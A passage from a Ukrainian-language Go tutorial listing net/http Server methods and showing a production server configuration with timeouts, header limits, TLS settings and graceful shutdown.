// Запуск HTTPS-сервера
func (srv *Server) ListenAndServeTLS(certFile, keyFile string) error

// Запуск сервера на існуючому listener
func (srv *Server) Serve(l net.Listener) error

// Плавне завершення (чекає завершення активних запитів)
func (srv *Server) Shutdown(ctx context.Context) error

// Негайне закриття (обриває активні з'єднання)
func (srv *Server) Close() error

// Реєстрація функції, яка викликається при завершенні сервера
func (srv *Server) RegisterOnShutdown(f func())

Приклад повної конфігурації продакшн-сервера:

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/", homeHandler)

    server := &http.Server{
        Addr:    ":8080",
        Handler: mux,

        // Захист від повільних клієнтів
        ReadTimeout:       10 * time.Second,
        ReadHeaderTimeout: 5 * time.Second,
        WriteTimeout:      10 * time.Second,
        IdleTimeout:       120 * time.Second,

        // Обмеження розміру заголовків (1 MB)
        MaxHeaderBytes: 1 << 20,

        // Кастомний логер помилок
        ErrorLog: log.New(os.Stderr, "HTTP ERROR: ", log.LstdFlags),

        // TLS конфігурація (для HTTPS)
        TLSConfig: &tls.Config{
            MinVersion:               tls.VersionTLS12,
            CurvePreferences:         []tls.CurveID{tls.X25519, tls.CurveP256},
            PreferServerCipherSuites: true,
            CipherSuites: []uint16{
                tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,
                tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
                tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
                tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
            },
        },
    }

    // Запуск у горутині
    go func() {
        log.Println("Server starting on :8080")
        if err := server.ListenAndServe(); err != http.ErrServerClosed {
            log.Fatalf("Server failed: %v", err)
        }
    }()

    // Graceful Shutdown
    quit := make(chan os.Signal, 1)
    signal.Notify(quit, os.Interrupt, syscall.SIGTERM)
    <-quit

    ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
    defer cancel()

    if err := server.Shutdown(ctx); err != nil {
        log.Fatalf("Shutdown failed: %v", err)
    }

    log.Println("Server stopped gracefully")
}